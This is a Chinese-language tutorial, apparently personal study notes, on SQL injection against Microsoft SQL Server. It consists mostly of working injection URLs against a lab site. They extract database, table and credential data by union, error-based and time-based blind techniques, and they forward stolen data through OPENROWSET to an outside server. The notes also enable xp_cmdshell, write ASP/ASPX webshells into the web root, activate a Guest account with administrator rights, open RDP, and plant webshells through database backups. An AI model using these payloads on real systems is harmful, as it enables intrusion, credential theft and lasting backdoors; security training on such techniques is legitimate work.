SQL 注入之:SQL Server 数据库
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL 注入之:SQL Server 数据库
SQL Server 是Microsoft 公司推出的关系型数据库管理系统。
1 SQL Server 数据库 SQL 注入基础知识
- 数据库后缀名:
.mdf
- 端口号:1433
- 在 SQL Server 中可以一次执行多语句操作的:
- 多条 SQL 语句是用分号隔开:
select * from table1; select * from table2
- 多条 SQL 语句是用分号隔开:
1.1 SQL Server 三个权限级别:
- sa 权限:拥有SQL Server数据库的最高权限。sa 用户是 System users 的简称。
- db 权限:赋予用户对数据库的操作权限。dbo 用户是 Database Owner 的简称,是每个数据库的默认用户,具有所有者权限。
- public 权限:默认 public 用户不能访问任何用户创建的对象。public 不属于数据库固定角色,但所有数据库用户都是其成员,且无法修改。
1.2 SQL Server 数据库的 6 个默认库
-
4 个系统数据库:master 、model 、msdb 、tempdb。其中 model 和 tempdb 默认没有数据表。
- master 数据库:控制 SQL Server 的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
- model 数据库:是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server 会把 model 数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
- msdb 数据库:是 SQL Server中 的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是所有的任务调度、报警、操作员都存储在 msdb 数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
- tempdb 数据库:是一个非常特殊的数据库,供所有来访问你的 SQL Server 的用户使用。这个库用来保存所有的临时表、存储过程和其他 SQL Server 建立的临时用的东西。例如,排序时要用到 tempdb 数据库。数据被放进 tempdb 数据库,排完序后再把结果返回给用户。每次 SQL Server 重新启动,它都会清空 tempdb 数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
-
2 个实例数据库:ReportServer、ReportServerTempDB。
-
ReportServer 数据库:能够存储 SSRS 配置部分,报告定义,报告元数据,报告历史,缓存政策,快照,资源,安全设置,加密的数据,调度和提交数据,以及扩展信息。
注意事项:尽管用户能够直接存取在SSRS目录下的数据库并且能够直接修改SSRS使用的对象;但在实践中,不推荐(或不支持)这样做,因为在SSRS目录下的内在数据和结构不能被保证与不同版本的SSRS、服务包或补丁相兼容。
-
ReportServerTempDB 数据库: 是 SSRS 使用的临时数据库。这个数据库负责存储中间处理结果,例如报表服务器生成的会话和执行数据、缓存报表以及工作表。
-
1.3 注释符号
1. -- (--最后有一个空格)
2. /* content */
1.4 SQL Server 注入常用语句及函数
sys.database # SQL server 中的所有数据库
sys.sql_logins # SQL server 中的所有登录名
information_schema.tables # 当前用户数据库中的表
information_schema.columns # 当前用户数据库中的列
sys.all_collumns # 用户定义对象和系统对象的所有列的联合
sys.database_principals # 数据库中每个权限或列异常权限
sys.database_files # 存储在数据库中的数据库文件
sysobjects # 数据库中创建的每个对象(例如约束、日志以及存储过程)
select @@version; # 查询数据库的版本
select @@servername; # 查询服务名
select host_name(); # 主机名,注:使用 Navicat 远程连接时,此结果是本地主机名,而非目标主机的主机名。
select db_name(); # 查询当前数据库名
select db_name(database_id); # 指定要显示数据库名的 ID,"1-6" 是默认数据库,自定义创建的库从 "7" 开始。
select user; # 查询当前数据库的拥有者
use labdb; # 切换到 labdb 数据库
top n # 查询前n条记录:SELECT TOP 1 * FROM users;
limit raw_count, offset_num # 查询第 raw_count 条开始的 offset_num 条数据
select substring('str',2,1); # 截取给定字符串的索引为 2 的 1 个字符
select ascii('str'); # 查询给定字符串的 ascii 值
select len('str'); # 查询给定字符串的长度
sp_spaceused # 显示行数、保留的磁盘空间以及当前数据库中的表所使用的磁盘空间,或显示由整个数据库保留和使用的磁盘空间。
EXEC sp_spaceused @updateusage = 'TRUE'; # 查询当前已更新数据库的大小。
EXEC sp_spaceused 'table_name'; # 查询指定表大小
# 权限判断
# 判断是否是 SA 权限
select is_srvrolemember('sysadmin')
# 判断是否是 db_owner 权限
select is_member('db_owner')
# 判断是否是 public 权限
select is_srvrolemember('public')
1.5 SQL Server 中的 INFORMATION_SCHEMA
SQL Server 中 INFORMATION_SCHEMA
视图可以检索数据库中的对象的元数据。您可以直接在当前实例的数据库调用需求的数据。MSSQL 中的 INFORMATION_SCHEMA
符合 ISO 标准,因此查询操作类似于 Mysql。
1.5.1 Catalog
与 Schema
- 从层级上来说:一个数据库系统包含多个 Catalog,每个 Catalog 又包含多个 Schema,而每个 Schema 又包含多个数据库对象(表、视图、字段等)。
- 该数据库对象的完全限定名称:
Catalog.Schema.Table
- 目的:解决命名冲突的问题
2 注入检测方法
2.1 正常查询方法
通过正常查询观察可注入点;
2.2 基于闭合报错的检测方法
一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接在可注入点输入一个单引号 '
/双引号 "
数据库因为多输入字符导致无法闭合而报错;
例:http://www.lab.com/index.aspx?id=1'
[SqlException (0x80131904): 字符串 '' 后的引号不完整。]
2.3 基于布尔的检测方法
基于页面返回的信息是否相同的检测方法判断,再进一步确认服务端是否可执行
and 1=1
and 1=2
2.4 基于时间的检测方法
WAITFOR 是 SQL Server 中 Transact-SQL 提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。
WAITFOR { DELAY 'time' | TIME 'time' }
DELAY:指等过了指定的时间过去后再执行 SQL 语句。
TIME:指等到了指定的时间点后再执行 SQL 语句。
'time':要等待的时间。可以按 datetime 数据可接受的格式指定 time,也可以用局部变量指定此参数。格式为"HH:MM:SS",不支持日期,最长可达 24 小时。
如:
waitfor delay ‘0:0:3’ # 等待 3 秒再执行操作。
waitfor time '01:01:01' # 指定 1小时01分01秒时执行。
3 SQL Server 查询信息
3.1 Union
联合查询注入方法
3.1.1 猜测表字段数
order by 1
:查询当前表中包含几个字段,数字变换尝试,
例:
http://www.lab.com/index.aspx?id=1 order by 3
# order by 3 正常显示,order by 4 不正常显示,说明有 3 列。此时可以 select NULL,NULL 想查询的数据
3.1.2 查询系统信息
union select 1,'2','3'
所用查询语句- 使用
union select null,null,查询函数
查询数据库系统信息 - 与 Mysql 数据库不同,SQL Server 使用联合查询进要求每一列的查询内容类型要与数据库字段类型一致。
- SQL Server 数据库中,所有字段均支持 null (空值),因此可以使用 null 来填充查询字段。
1. 查询内容与数据库字段类型不一致报错
例: http://www.lab.com/index.aspx?id=1 union select null,null,@@version
# 在将 varchar 值 'sql_injection' 转换成数据类型 int 时失败。
2. 查询数据库版本信息
例:http://www.lab.com/index.aspx?id=1 union select null,null,@@version
3. 查询数据库名
例:http://www.lab.com/index.aspx?id=1 union select null,null,db_name()
4. 查询主机名
例:http://www.lab.com/index.aspx?id=1 union select null,null,host_name()
5. 查询当前用户
例:http://www.lab.com/index.aspx?id=1 union select null,null,user_name()
3.1.3 查询数据库名称
1. 查询所有数据库名称
select Name from sys.databases
例:http://www.lab.com/index.aspx?id=1 union select null,null,Name from sys.databases
2. 查询所有数据库名称
select null,null,Name from master..sysdatabases
http://www.lab.com/index.aspx?id=1 union select null,null,Name from master..sysdatabases
3.1.4 查询表名称
1. 查询当前数据库中表的个数
select count(name) from sysobjects where type='u'
例:
http://www.lab.com/index.aspx?id=-1 union select count(name),null,null from sys.objects where type='u'
2. 查询当前数据库中所有表的名称
select name from sysobjects where type='u'
例:
http://www.lab.com/index.aspx?id=-1 union select null,null,name from sys.objects where type='u'
3. 查询指定数据库中的表名称
select name from labdb..sysobjects where type='u'
例:
http://www.lab.com/index.aspx?id=-1 union select null,null,name from labdb..sysobjects where type='u'
3.1.5 查询表字段
1. 查询当前数据库指定 users 表的字段个数
select count(name) from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')
例:
http://www.lab.com/index.aspx?id=-1 union select count(name),null,null from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')
2. 查询当前数据库指定 users 表字段名字
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')
例:
http://www.lab.com/index.aspx?id=-1 union select null,null,name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')
3. 查询指定数据库指定 users 表字段个数
select count(name) from labdb..syscolumns where id=(select max(id) from labdb..sysobjects where xtype='u' and name='users')
例:
http://www.lab.com/index.aspx?id=-1 union select count(name),null,null from labdb..syscolumns where id=(select max(id) from labdb..sysobjects where xtype='u' and name='users')
3.1.6 查询数据内容
# 查询指定数据库中指定 users 表字段数据
select null,user,password from labdb..users
例:
http://www.lab.com/index.aspx?id=-1 union select null,user,password from labdb..users
3.2 报错注入
SQL Server 在执行错误 SQL 语句时,会把错误信息在页面中显示出来。而错误信息中会包含我们所需要的信息。
3.2.1 查询系统信息
- 利用 SQL Server 转换类型报错,显示所要查询信息
- 所查询内容为字符串类型无法与 int 型进行比较,因此报错。
1. 查询数据库版本信息
http://www.lab.com/index.aspx?id=-1 and @@version>0
2. 查询主机名
host_name()
3. 查询当前用户
user_name()
3.2.2 查询数据库
1. 查询当前数据库名称
db_name()
例:
http://www.lab.com/index.aspx?id=1 and db_name()>0
2. 查询其他数据库
2.1 db_name(database_id)
# database_id 依次+1 可遍历出所有的数据库名称
http://www.lab.com/index.aspx?id=1 and db_name(2)>0
2.2 依次排除法查询其他数据库
2.2.1 查询第一个数据库
select top 1 name from master..sysdatabases
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from master..sysdatabases)>0
2.2.2 排除已知的数据库继续查询
select top 1 name from master..sysdatabases where name not in ('master','iNethinkCMS')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from master..sysdatabases where name not in ('master','iNethinkCMS'))>0
3.2.3 查询表名称
1 指定数据库查询表名称
select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0)>0
1.1 查询其他表名称
select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('users')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('users'))>0
2.2 依次排除法查询表名称
2.2.1 查询第一个表名称
select top 1 name from sys.objects where type='u'
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from sys.objects where type='u')>0
2.2.2 排除已知的表名称继续查询
select top 1 name from sys.objects where type='u' and name not in ('table1','table2')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from sys.objects where type='u' and name not in ('table1','table2'))>0
3.2.4 查询表字段名称
1. 依次排除法查询表字段名称
1.1 查询第一个表字段名称
select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users'
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users')>0
1.2 排除已知的表字段名称继续查询
select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','user')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','user'))>0
3.2.5 查询数据内容
1. 依次排除法查询数据内容
1.1 查询第一个数据内容
select top 1 user from users
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 user from users)>0
1.2 查询第二个数据内容
select top 1 user from users where user not in ('admin')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 user from users where user not in ('admin'))>0
3.3 利用 information_schema
查询方法
3.3.1 查询当前用户
# 用户名称为 dbo
http://www.lab.com/index.aspx?id=1 and user_name()>0
3.3.2 查询当前数据库名称
# 数据库名称 labdb
http://www.lab.com/index.aspx?id=1 and db_name()>0
3.3.2 查询所有表名称
FOR XML PATH
目的是将查询结果根据行输出成XML
。原因是:当子查询返回的值不止一个时,MSSQL 不允许子查询跟随在=、!=、<、<=、>、>=
之后,或子查询用作表达式;
# 由当前库获取当前库的所有表名
1. 方式一:推荐
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH
例:
http://www.lab.com/index.aspx?id=1 and (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH)>0
2. 方式二
select TABLE_NAME from information_schema.TABLES where TABLE_CATALOG=db_name()
例:
http://www.lab.com/index.aspx?id=1 and (select TABLE_NAME from information_schema.TABLES where TABLE_CATALOG=db_name() FOR XML PATH)>0
3.3.3 查询表字段名称
1. 查询当前表中所有字段名称
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users'
例:
http://www.lab.com/index.aspx?id=1 and (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' FOR XML PATH)>0
3.3.4 查询字段数据
1. 查询当前字段中所有数据
select * from users
例:
http://www.lab.com/index.aspx?id=1 and (select * from users FOR XML PATH)>0
2. 查询指定字段所有数据
select user,password from users
例:
http://www.lab.com/index.aspx?id=1 and (select user,password from users FOR XML PATH)>0
3.4 延时注入(盲注)
3.4.1 逐字猜解法
原理:
substring('str',2,1)
# 截取给定字符串的索引为 2 的 1 个字符
1. 方式一:猜解字符
if(substring(db_name(),1,1)='l') waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(substring(db_name(),1,1)='l') waitfor delay '0:0:3'
2. 方式二:猜解 ASCII 码数值
http://www.lab.com/index.aspx?id=1 if(ascii(substring(db_name(),1,1))=108) waitfor delay '0:0:3'
3.4.2 二分法猜解法
原理:
- 将字符转换成 ASCII 码数值
- 通过比较所截取字符的 ASCII 码数值,对半查找其所具体对应的 ASCII 码数值
- 将所查找出来的字符组合在一起,即为所查询内容。
3.4.2.1 猜解数据库名称
1. 确认所查询数据库名称的长度
http://www.lab.com/index.aspx?id=1 if(len(db_name())=5) waitfor delay '0:0:3'
2. 二分法猜解数据内容
# 假设查找字符为 ‘l’
2.1. 先与 ASCII 中间值比较
if(ascii(substring(db_name(),1,1))>63) waitfor delay '0:0:3'
2.2. 再比较 64-127 中间数值
if(ascii(substring(db_name(),1,1))>95) waitfor delay '0:0:3'
2.3. 再比较 96-127 中间数值
if(ascii(substring(db_name(),1,1))>107) waitfor delay '0:0:3'
2.4. 再比较 111-127 中间数值
if(ascii(substring(db_name(),1,1))>111) waitfor delay '0:0:3'
2.5. 再比较 108-111 中间数值
if(ascii(substring(db_name(),1,1))>109) waitfor delay '0:0:3'
2.6. 再比较 108-109 中间数值
if(ascii(substring(db_name(),1,1))=108) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring(db_name(),1,1))>63) waitfor delay '0:0:3'
3.4.2.2 猜解表名称
1. 确定表名称长度
if(len((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'))>3) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'))>3) waitfor delay '0:0:3'
2. 猜解表名称
if(ascii(substring((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'),1,1))>117) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'),1,1))>117) waitfor delay '0:0:3'
3.4.2.3 猜解表字段名称
1. 确定表字段名称长度
if(len((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')))>4) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')))>4) waitfor delay '0:0:3'
2. 猜解表字段名称
if(ascii(substring((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')),1,1))=117) waitfor delay '0:0:3'
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')),1,1))=117) waitfor delay '0:0:3'
3.4.2.4 猜解数据内容
1. 确定第一行数据长度
if(len((select top 1 user from users))>4) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 user from users))>4) waitfor delay '0:0:3'
2.确定第二行数据长度
if(len((select top 1 user from users where user not in ('admin')))=6) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 user from users where user not in ('admin')))=6) waitfor delay '0:0:3'
3. 猜解第一行数据内容
if(ascii(substring((select top 1 user from users),1,1))=97) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 user from users),1,1))=97) waitfor delay '0:0:3'
4. 猜解第二行数据内容
if(ascii(substring((select top 1 user from users where user not in ('admin')),1,1))=117) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 user from users where user not in ('admin')),1,1))=117) waitfor delay '0:0:3'
3.5 openrowset 转发注入(盲注)
原理:
- 将当前数据转发到远程的 SQL Server 上,突破不能堆叠的限制
利用条件:
- 本地需要一台带有 SQL Server 的机器
- 服务器需要开启
Ad Hoc Distributed Queries
组件:MSSQL 2005 及其以后,MSSQL 对系统存储过程做了权限控制,Ad Hoc Distributed Queries
组件默认是不被启用的。
openrowset 语法格式:
OPENROWSET
( { 'provider_name'
, { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
, { <table_or_view> | 'query' }
| BULK 'data_file' ,
{ FORMATFILE = 'format_file_path' [ <bulk_options> ]
| SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )
SELECT * FROM OPENROWSET('SQLOLEDB','';'OUSER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
SELECT * FROM OPENRONSET('SQLNCLI','server= (local);trusted connection-yes','SET FMTONLY OFF SELECT 1;%STATEMENT%')
SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
3.5.1 开启 Ad Hoc Distributed Queries
组件
1. 将显示高级选项的值设置为 1
exec sp_configure 'show advanced options',1;
2. 保存配置
reconfigure;
3. 使能 Ad Hoc Distributed Queries 组件
exec sp_configure 'Ad Hoc Distributed Queries',1;
4. 保存配置
reconfigure;
5. 查看是否开启相关组件
select name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'
select name,value_in_use from sys.configurations where name like '%cmdshell%'
例:
http://www.lab.com/index.aspx?id=1;exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
- 关闭 Ad Hoc Distributed Queries 组件
exec sp_configure 'Ad Hoc Distributed Queries',0 ;reconfigure;
exec sp_configure 'show advanced options',0 ;reconfigure;
3.5.2 本地 SQL Server 上配置
1. 创建与目标数据库一致的数据库名称
and db_name()>0 获取远程数据库名称
例:
http://www.lab.com/index.aspx?id=1 and db_name()>0
2. 在本地建立临时表:表名称前"##"表示该表为临时表,注意创建表时所选择的数据库名称
create table ##getdb (db_name varchar(500))
3. 确认临时表建立成功
select * from ##getdb
3.5.3 将远程主机数据转发到本地主机
1. payload,server,uid,password 分别为本地 SQL Server 的 IP,uid,pwd
insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23getdb' ) select db_name()
例:
http://www.lab.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23getdb' ) select db_name()
2. 在本地主机查看 ##getdb 表是否增加新数据,以确认 payload 是否执行成功
select * from ##getdb
3.5.4 两边创建新临时表
- 一般的表我们是无办法建立的,我们只能建立临时表
1. 远程主机创建新临时表,注意创建表时所选择的数据库名称
create table ##table_path( path ntext, num int )
例:
http://www.lab.com/index.aspx?id=1;create table %23%23table_path( path ntext, num int )
2. 本地主机创建新临时表,注意创建表时所选择的数据库名称
create table ##table_path( path ntext, num int )
3. 确认表是否建立成功
select * from ##table_path
3.5.5 查询路径
exec master.dbo.xp_dirtree 'c:\'
只显示目录(不包括文件)的结构;xp_dirtree 除了第一个参数可以是 ntext 类型外,其他只支持 int 类型。
1. 调用存储过程把执行回来的数据存到临时表里面,向 ##table_path 表中插入远程主机 C 盘下所有路径数据
insert %23%23table_path execute master..xp_dirtree 'c:/',1
例:
http://www.lab.com/index.aspx?id=1;insert %23%23table_path execute master..xp_dirtree 'c:/',1
2. 将数据转发到本地主机上
insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23table_path' ) select * from %23%23table_path
例:
http://www.lab.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23table_path' ) select * from %23%23table_path
3. 本地主机查询 ##table_path 获取数据
select * from ##table_path
4 SA 用户控制主机
4.1 获取主机权限
原理:利用 SA 权限使能 xp_cmdshell
获取主机权限
xp_cmdshell
默认在mssql2000
中是开启的,在mssql2005
之后的版本中默认禁止- 若获取的数据库用户拥有 sa 权限,可以用
sp_configure
命令使能xp_cmdshell
1. 判断是否使能 xp_cmdshell ,1为打开,0 为关闭
select count(*) from master..sysobjects where xtype = 'X' and name = 'xp_cmdshell'
例:
http://www.lab.com/index.aspx?id=-1 union select (select count(*) from master..sysobjects where xtype = 'X' and name = 'xp_cmdshell'),null,null
2. 如果 xp_cmdshell 没有开启,则执行以下步骤使能 xp_cmdshell
# 将显示高级选项的值设置为 1
exec sp_configure 'show advanced options',1;
# 保存设置
reconfigure;
# 将 xp_cmdshell 的值设置为 1
exec sp_configure 'xp_cmdshell',1;
# 保存设置
reconfigure;
# 查看配置
/*
配置情况需登陆 MSSQL 服务器查看
exec sp_configure;
# 执行系统命令,验证是否成功开启 xp_cmdshell
exec xp_cmdshell 'ipconfig';
*/
例:
http://www.lab.com/index.aspx?id=1;exec sp_configure 'show advanced options',1;
# 依次执行以上语句开启 xp_cmdshell
3. 一次执行所有命令使能 xp_cmdshell
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
例:
http://www.lab.com/index.aspx?id=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
4. 另一种执行方式
# 将显示高级选项的值设置为 1
execute('sp_configure "show advanced options",1')
# 保存设置
execute('reconfigure')
# 将 xp_cmdshell 的值设置为 1
execute('sp_configure "xp_cmdshell", 1')
# 保存设置
execute('reconfigure')
/*
配置情况需登陆 MSSQL 服务器查看
# 查看配置
execute('sp_configure')
# 执行系统命令
execute('xp_cmdshell "ipconfig"')
*/
4.2 利用 xp_cmdshell
4.2.1 上传 WEBShell 文件
利用条件:
- 目标网站路径允许写入
1. 上传 asp 一句话文件
1.1 方式一
exec master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp';
例:
http://www.lab.com/index.aspx?id=1;exec master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp';
1.2 方式二:使用 ASCII 码的形式设备一句话密码
exec master..xp_cmdshell 'echo ^<%eval request(chr(99))%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp'
例:
http://www.lab.com/index.aspx?id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(99))%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp';
2. 上传 aspx 一句话文件
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["cmd"],"unsafe");%^>>C:\inetpub\wwwroot\www.lab.com\webshell.aspx';
例:
http://www.lab.com/index.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["cmd"],"unsafe");%^>>C:\inetpub\wwwroot\www.lab.com\webshell.aspx';
3. 执行系统命令并将结果输出到指定文件
exec master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.lab.com\ipconfig.txt';
例:
http://www.lab.com/index.aspx?id=1;exec master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.lab.com\ipconfig.txt';
4.2.2 执行系统命令
利用条件:
- 前提是获取的当前主机权限属于 administrators 组
1. 开启远程桌面
1.1 设置 guest 用户密码
exec xp_cmdshell 'net user Guest 123456';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'net user Guest 123456';
1.2 启用 guest 用户
exec xp_cmdshell 'net user Guest /active:yes';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'net user Guest /active:yes';
1.3 添加 guest 用户到 administrators 用户组
exec xp_cmdshell 'net localgroup administrators Guest /add';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'net localgroup administrators Guest /add';
1.4 开启3389端口
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f';
4.3 LOG 备份 Getshell
原理:
- 利用备份的过程中写入一句话
- 利用前提:至少 DBO 权限
- 目标机器存在数据库备份文件
- 知道网站的绝对路径,且可写
- 站库不分离
- 该注入支持堆叠注入
1. 修改数据库恢复模式为完整模式
alter database database_name set RECOVERY FULL;
例:
http://www.lab.com/index.aspx?id=1;alter database labdb set RECOVERY FULL;
2. 创建一张表 table_name,只有一个列 a,类型为 image
create table table_name (a image);
例:
http://www.lab.com/index.aspx?id=1;create table table_tmp (a image);
3. 备份数据库到指定路径
backup log 数据库名 to disk= 'C:\inetpub\wwwroot\www.lab.com\labdb.bak' with init;
例:
http://www.lab.com/index.aspx?id=1;backup log labdb to disk= 'C:\inetpub\wwwroot\www.lab.com\labdb.bak' with init;
4. 将一句话写入到 table_name 表里
insert into table_name (a) values(0x一句话木马[16进制表示]);
例:<%execute(request("cmd"))%>
http://www.lab.com/index.aspx?id=1;insert into table_tmp (a) values(0x3c256578656375746528726571756573742822636d64222929253e);
5. 把包含 webshell 的操作日志备份到指定文件
backup log database_name to disk='C:\inetpub\wwwroot\www.lab.com\webshell.asp';
例:
http://www.lab.com/index.aspx?id=1;backup log labdb to disk='C:\inetpub\wwwroot\www.lab.com\webshell.asp';
6. 删除 table_name 表
drop table table_name;
例:
http://www.lab.com/index.aspx?id=1;drop table table_tmp;
7. 一句话上传 webshell
http://www.lab.com/index.aspx?id=1;drop table table_tmp;create table table_tmp (a image);backup log labdb to disk ='C:/inetpub/wwwroot/www.lab.com/labdb.bak' with init; insert into table_tmp (a) values (0x3c256578656375746528726571756573742822636d64222929253e);backup log labdb to disk = 'C:/inetpub/wwwroot/www.lab.com/webshell.asp';drop table table_tmp;
4.4 差异备份 Getshell(不推荐)
差异备份不推荐使用,原因是经常会出错,不稳定。(了解)
原理:
- 利用备份的过程中写入一句话
- 利用前提:至少 DBO 权限
- 目标机器存在数据库备份文件
- 知道网站的绝对路径,且可写
- 站库不分离
- 数据量不能太大
- HTTP 500 错误不是自定义
- 该注入支持堆叠注入
1. 若目标主机数据库没有备份过,需先将数据库备份一次
backup database database_name to disk = 'C:\inetpub\wwwroot\www.lab.com\labdb.bak';
# 若命令被过滤
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份文件完整路径 backup database @a to disk=@s;
注:0x备份的数据库文件完整路径转换成 16 位进制,db_name() 里面可以加数字备份不同的数据库
2. 创建一张表 table_name ,字段 a 类型为 image
create table databse_name..table_name(a image);
create table [dbo].[table_name] ([a] [image])
3. 插入一句话到 table_name 表里
insert into databse_name..table_name(a) values (0x一句话)
insert into [table_name](a) values(0x一句话)
4. 进行差异备份
backup database databse_name to disk = 'C:\inetpub\wwwroot\www.lab.com\labdb.bak' with differential,format;
# 若命令被过滤
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份文件完整路径 backup database @a to disk=@s with differential,format;
6. 删除 table_name 表
Drop table 数据库..表名;
Drop table [table_name];